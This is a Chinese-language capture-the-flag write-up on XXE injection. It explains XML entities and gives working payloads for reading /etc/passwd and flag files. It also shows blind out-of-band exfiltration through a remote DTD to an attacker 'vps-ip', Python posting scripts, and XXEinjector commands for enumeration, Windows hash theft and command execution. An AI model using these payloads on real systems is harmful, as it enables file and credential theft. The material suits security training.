ctfshow xxe漏洞专题
XML是一种用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
  
<!--XML申明--> 
<?xml version="1.0"?>  
<!--文档类型定义--> 
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档--> 
<!ELEMENT note (to,from,heading,body)>   <!--定义note元素有四个元素--> 
<!ELEMENT to (#PCDATA)>      <!--定义to元素为”#PCDATA”类型--> 
<!ELEMENT from (#PCDATA)>    <!--定义from元素为”#PCDATA”类型--> 
<!ELEMENT head (#PCDATA)>    <!--定义head元素为”#PCDATA”类型--> 
<!ELEMENT body (#PCDATA)>    <!--定义body元素为”#PCDATA”类型--> 
]]]>
 <!--文档元素--> 
<note> 
<to> Dave</to> 
<from> Tom</from> 
<head> Reminder</head> 
<body> You are a good man</body> 
</note> 
 
 
文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可
被成行地声明于XML文档中(内部引用),也可作为一个外部引用。内部声明DTD:
引用外部DTD:
1
  
<!DOCTYPE 根元素 SYSTEM "文件名"> 
 
 
DTD文档中重要的关键字如下:
DOCTYPE(DTD的声明) 
ENTITY(实体的声明) 
SYSTEM、PUBLIC(外部资源申请) 
 
实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:
内置实体 (Built-in entities) 
字符实体 (Character entities) 
通用实体 (General entities) 
参数实体 (Parameter entities) 
 
实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities 
参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
内部实体:
外部实体:
1
  
<!ENTITY 实体名称 SYSTEM "URI">
  
 
参数实体:
1
 2
 3
  
<!ENTITY % 实体名称 "实体的值"> 
或者
 <!ENTITY % 实体名称 SYSTEM "URI"> 
 
 
实例演示:除参数实体外实体+内部实体
1
 2
 3
 4
 5
 6
  
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [
     <!ENTITY name "bmjoker"> ]>
<foo> 
        <value> &name; </value>  
 </foo> 
 
 
实例演示:参数实体+外部实体
1
 2
 3
 4
 5
  
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [
     <!ENTITY % name SYSTEM "file:///etc/passwd"> 
    %name;
 ]>
  
 
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
外部实体即在DTD中使用
1
  
<!ENTITY 实体名称 SYSTEM "URI">
  
 
语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:
         
实例演示:
1
 2
 3
 4
 5
 6
  
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE a [
     <!ENTITY content SYSTEM "file:///etc/passwd"> ]>
<foo> 
        <value> &content; </value>  
 </foo> 
 
 
XXE(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,
没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、
发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
首先 检测XML是否会被成功解析:
1
 2
 3
 4
  
<?xml version="1.0" encoding="UTF-8"?>   
<!DOCTYPE ANY [  
 <!ENTITY name "my name is nMask"> ]>    
<root> &name; </root> 
 
 
若页面输出my name is nMask则说明xml可以被解析
随后 检测服务器是否支持DTD引用外部实体
1
 2
 3
 4
 5
  
<?xml version=”1.0” encoding=”UTF-8”?>   
<!DOCTYPE ANY [  
 <!ENTITY % name SYSTEM "http://localhost/index.html">   
%name;  
 ]>
  
 
可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。若支持引用外部实体,则页面很有可能存在xxe漏洞。
1
 2
 3
 4
  
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [
 <!ENTITY name SYSTEM "file://c:\test.txt"> ]>
<root> &name; </root> 
 
 
or(2023 moectf payload)
1
 2
 3
  
<?xml version="1.0" encoding="utf-8" ?>
 <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///flag"> ]>
 <xml><name>&b;</name></xml>
  
 
针对无回显的xxe漏洞,我们可以通过构造一个外带信道来带出数据
在自己的vps服务器上创建test.php写入以下内容:
1
 2
 3
  
<? php   
file_put_contents ( "test.txt" ,  $_GET [ 'file' ])  ;   
?> 
  
 
在目标服务器上创建index.php写入以下内容:
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
  
<? php   
$xml =<<< EOF   
<? xml  version = "1.0" ?>   
 <!DOCTYPE ANY[  
 <!ENTITY % file SYSTEM "file:///C:/test.txt">  
 <!ENTITY % remote SYSTEM "http://localhost/test.xml">  
 %remote;
 %all;
 %send;  
 ]>  
 EOF;  
 $data = simplexml_load_string($xml) ;  
 echo "<pre>" ;  
 print_r($data) ;  
 ?>
  
 
并创建test.xml并写入以下内容:
1
 2
  
[html] view plain copy
 <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'> ">
 
 
当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。
枚举HTTPS应用程序中的/etc目录:
1
  
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
  
 
使用gopher(OOB方法)枚举/etc目录:
1
  
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  
 
二次漏洞利用:
1
  
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
  
 
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
1
  
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
  
 
通过直接性漏洞利用方式进行资源枚举:
1
  
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
  
 
枚举未过滤的端口:
1
  
ruby  XXEinjector . rb  -- host = 192.168 . 0.2  -- file =/ tmp / req . txt  -- enumports = all 
 
 
窃取Windows哈希:
1
  
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
  
 
使用Java jar上传文件:
1
  
ruby  XXEinjector . rb  -- host = 192.168 . 0.2  -- file =/ tmp / req . txt -- upload =/ tmp / uploadfile . pdf 
 
 
使用PHP expect执行系统指令:
1
  
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
  
 
测试XSLT注入:
1
  
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
  
 
记录请求信息:
1
  
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
  
 
有回显XXE,外部实体
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
  
<? php 
 /*
 # -*- coding: utf-8 -*-
 # @Author: h1xa
 # @Date:   2021-01-07 12:59:52
 # @Last Modified by:   h1xa
 # @Last Modified time: 2021-01-07 13:36:47
 # @email: h1xa@ctfer.com
 # @link: https://ctfer.com
 
 */ 
 error_reporting ( 0 ); 
libxml_disable_entity_loader ( false ); 
$xmlfile  =  file_get_contents ( 'php://input' ); 
if ( isset ( $xmlfile )){ 
    $dom  =  new  DOMDocument (); 
     $dom -> loadXML ( $xmlfile ,  LIBXML_NOENT  |  LIBXML_DTDLOAD ); 
     $creds  =  simplexml_import_dom ( $dom ); 
     $ctfshow  =  $creds -> ctfshow ; 
     echo  $ctfshow ; 
 } 
highlight_file ( __FILE__ );     
 
 
payload:
1
 2
 3
 4
 5
 6
 7
 8
  
<!DOCTYPE hacker[
     <!ENTITY hacker SYSTEM "file:///flag"> 
]> 
 <root> 
	<ctfshow> 
 	&hacker; 
 	</ctfshow> 
 </root> 
 
 
无回显XXE ,外部实体。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
  
<? php 
 /*
 # -*- coding: utf-8 -*-
 # @Author: h1xa
 # @Date:   2021-01-07 12:59:52
 # @Last Modified by:   h1xa
 # @Last Modified time: 2021-01-07 13:36:47
 # @email: h1xa@ctfer.com
 # @link: https://ctfer.com
 
 */ 
 error_reporting ( 0 ); 
libxml_disable_entity_loader ( false ); 
$xmlfile  =  file_get_contents ( 'php://input' ); 
if ( isset ( $xmlfile )){ 
    $dom  =  new  DOMDocument (); 
     $dom -> loadXML ( $xmlfile ,  LIBXML_NOENT  |  LIBXML_DTDLOAD ); 
 } 
highlight_file ( __FILE__ );     
 
 
无回显,考虑数据外带,访问一个请求,把数据加到请求上。
payload:
1
 2
 3
 4
 5
 6
 7
 8
 9
  
<!DOCTYPE hacker[
     <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> 
    <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd"> 
 
     %myurl;
 ]> 
 <root> 
1
 </root> 
 
 
tips:
1
 2
 3
 4
 5
 6
  
<!-- 要引用(dtd里面),所以要加百分号% --> 
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 --> 
<!-- 不能直接<!ENTITY  % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制--> 
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(% vps),那就会解析(% vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
 也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
 总结就是,%myurl 这种引用会自动向地址发送请求。 --> 
 
 
test.dtd(放vps上面)内容
1
 2
 3
 4
 5
 6
 7
 8
 9
  
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port/%file;'>  ">
<!-- % 就是百分号(% vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 --> 
<!-- 如果选择nc监听的话,端口一定要加!!! --> 
<!-- 如果选择看日志的话,端口一定不能加!!! --> 
 <!-- 引用(执行)dtd实体,vps被注册 --> 
%dtd;
 <!-- 引用(执行)vps实体,接收%file变量的内容 --> 
%vps;
  
 
         
然后base64解码即可得到flag
也可以通过python脚本发包:
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
  
import  requests 
 url  =  '' 
payload  =  """<!DOCTYPE test [
 <!ENTITY  % f ile SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
 <!ENTITY  % a aa SYSTEM "http://vps-ip/text.dtd">
 %a aa;
 ]>
 <root>123</root>""" 
payload  =  payload . encode ( 'utf-8' ) 
requests . post ( url  , data = payload ) 
 
 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
  
<? php 
 /*
 # -*- coding: utf-8 -*-
 # @Author: h1xa
 # @Date:   2021-01-07 12:59:52
 # @Last Modified by:   h1xa
 # @Last Modified time: 2021-01-07 15:22:05
 # @email: h1xa@ctfer.com
 # @link: https://ctfer.com
 
 */ 
 error_reporting ( 0 ); 
libxml_disable_entity_loader ( false ); 
$xmlfile  =  file_get_contents ( 'php://input' ); 
if ( preg_match ( '/<\?xml version="1\.0"/' ,  $xmlfile )){ 
    die ( 'error' ); 
 } 
if ( isset ( $xmlfile )){ 
    $dom  =  new  DOMDocument (); 
     $dom -> loadXML ( $xmlfile ,  LIBXML_NOENT  |  LIBXML_DTDLOAD ); 
 } 
highlight_file ( __FILE__ ); 
 
 
加了个正则匹配,可以不写XML声明绕过,也可以多敲一个空格绕过
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
  
<? php 
 /*
 # -*- coding: utf-8 -*-
 # @Author: h1xa
 # @Date:   2021-01-07 12:59:52
 # @Last Modified by:   h1xa
 # @Last Modified time: 2021-01-07 15:23:51
 # @email: h1xa@ctfer.com
 # @link: https://ctfer.com
 
 */ 
 error_reporting ( 0 ); 
libxml_disable_entity_loader ( false ); 
$xmlfile  =  file_get_contents ( 'php://input' ); 
if ( preg_match ( '/<\?xml version="1\.0"/i' ,  $xmlfile )){ 
    die ( 'error' ); 
 } 
if ( isset ( $xmlfile )){ 
    $dom  =  new  DOMDocument (); 
     $dom -> loadXML ( $xmlfile ,  LIBXML_NOENT  |  LIBXML_DTDLOAD ); 
 } 
highlight_file ( __FILE__ );     
 
 
相比web375,本题多了"/i",不区分大小写,当然我们也可以通过不写XML声明绕过,也可以打一个空格在?xml和version之间绕过,也可以将<\?xml version="1\.0"中的双引号换成单引号绕过
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
  
<? php 
 /*
 # -*- coding: utf-8 -*-
 # @Author: h1xa
 # @Date:   2021-01-07 12:59:52
 # @Last Modified by:   h1xa
 # @Last Modified time: 2021-01-07 15:26:55
 # @email: h1xa@ctfer.com
 # @link: https://ctfer.com
 
 */ 
 error_reporting ( 0 ); 
libxml_disable_entity_loader ( false ); 
$xmlfile  =  file_get_contents ( 'php://input' ); 
if ( preg_match ( '/<\?xml version="1\.0"|http/i' ,  $xmlfile )){ 
    die ( 'error' ); 
 } 
if ( isset ( $xmlfile )){ 
    $dom  =  new  DOMDocument (); 
     $dom -> loadXML ( $xmlfile ,  LIBXML_NOENT  |  LIBXML_DTDLOAD ); 
 } 
highlight_file ( __FILE__ ); 
 
 
比之前几题多过滤了一个http
可以采用编码绕过,用脚本把web374的payload转为utf-16编码。
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
  
import  requests 
 url  =  'http://a83196d0-7399-4a44-9601-23509c34a124.challenge.ctf.show/' 
 #注意这里是单引号,为了绕过过滤 
payload  =  """<?xml version='1.0' encoding="UTF-8"?>
 <!DOCTYPE hacker[
     <!ENTITY   % f ile SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
     <!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">
 
     %myurl;
 ]> 
 
 <root>
 1
 </root>
 """ 
payload  =  payload . encode ( 'utf-16' ) 
print ( requests . post ( url  , data = payload ) . text ) 
 
 
开题可见
         
抓包看一下,xxe无疑了
         
部分源码:
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
  
function  doLogin (){ 
	var  username  =  $ ( "#username" ) . val (); 
 	var  password  =  $ ( "#password" ) . val (); 
 	if ( username  ==  ""  ||  password  ==  "" ){ 
 		alert ( "Please enter the username and password!" ); 
 		return ; 
 	} 
 	
 	var  data  =  "<user><username>"  +  username  +  "</username><password>"  +  password  +  "</password></user>" ;  
     $ . ajax ({ 
         type :  "POST" , 
         url :  "doLogin" , 
         contentType :  "application/xml;charset=utf-8" , 
         data :  data , 
         dataType :  "xml" , 
         anysc :  false , 
         success :  function  ( result )  { 
         	var  code  =  result . getElementsByTagName ( "code" )[ 0 ] . childNodes [ 0 ] . nodeValue ; 
         	var  msg  =  result . getElementsByTagName ( "msg" )[ 0 ] . childNodes [ 0 ] . nodeValue ; 
         	if ( code  ==  "0" ){ 
         		$ ( ".msg" ) . text ( msg  +  " login fail!" ); 
         	} else  if ( code  ==  "1" ){ 
         		$ ( ".msg" ) . text ( msg  +  " login success!" ); 
         	} else { 
         		$ ( ".msg" ) . text ( "error:"  +  msg ); 
         	} 
         }, 
         error :  function  ( XMLHttpRequest , textStatus , errorThrown )  { 
             $ ( ".msg" ) . text ( errorThrown  +  ':'  +  textStatus ); 
         } 
     });  
 } 
 
 
payload:
1
 2
 3
 4
 5
  
<!DOCTYPE test [
 <!ENTITY xxe SYSTEM "file:///flag"> 
]>
 
 <user><username> &xxe; </username><password> &xxe; </password></user>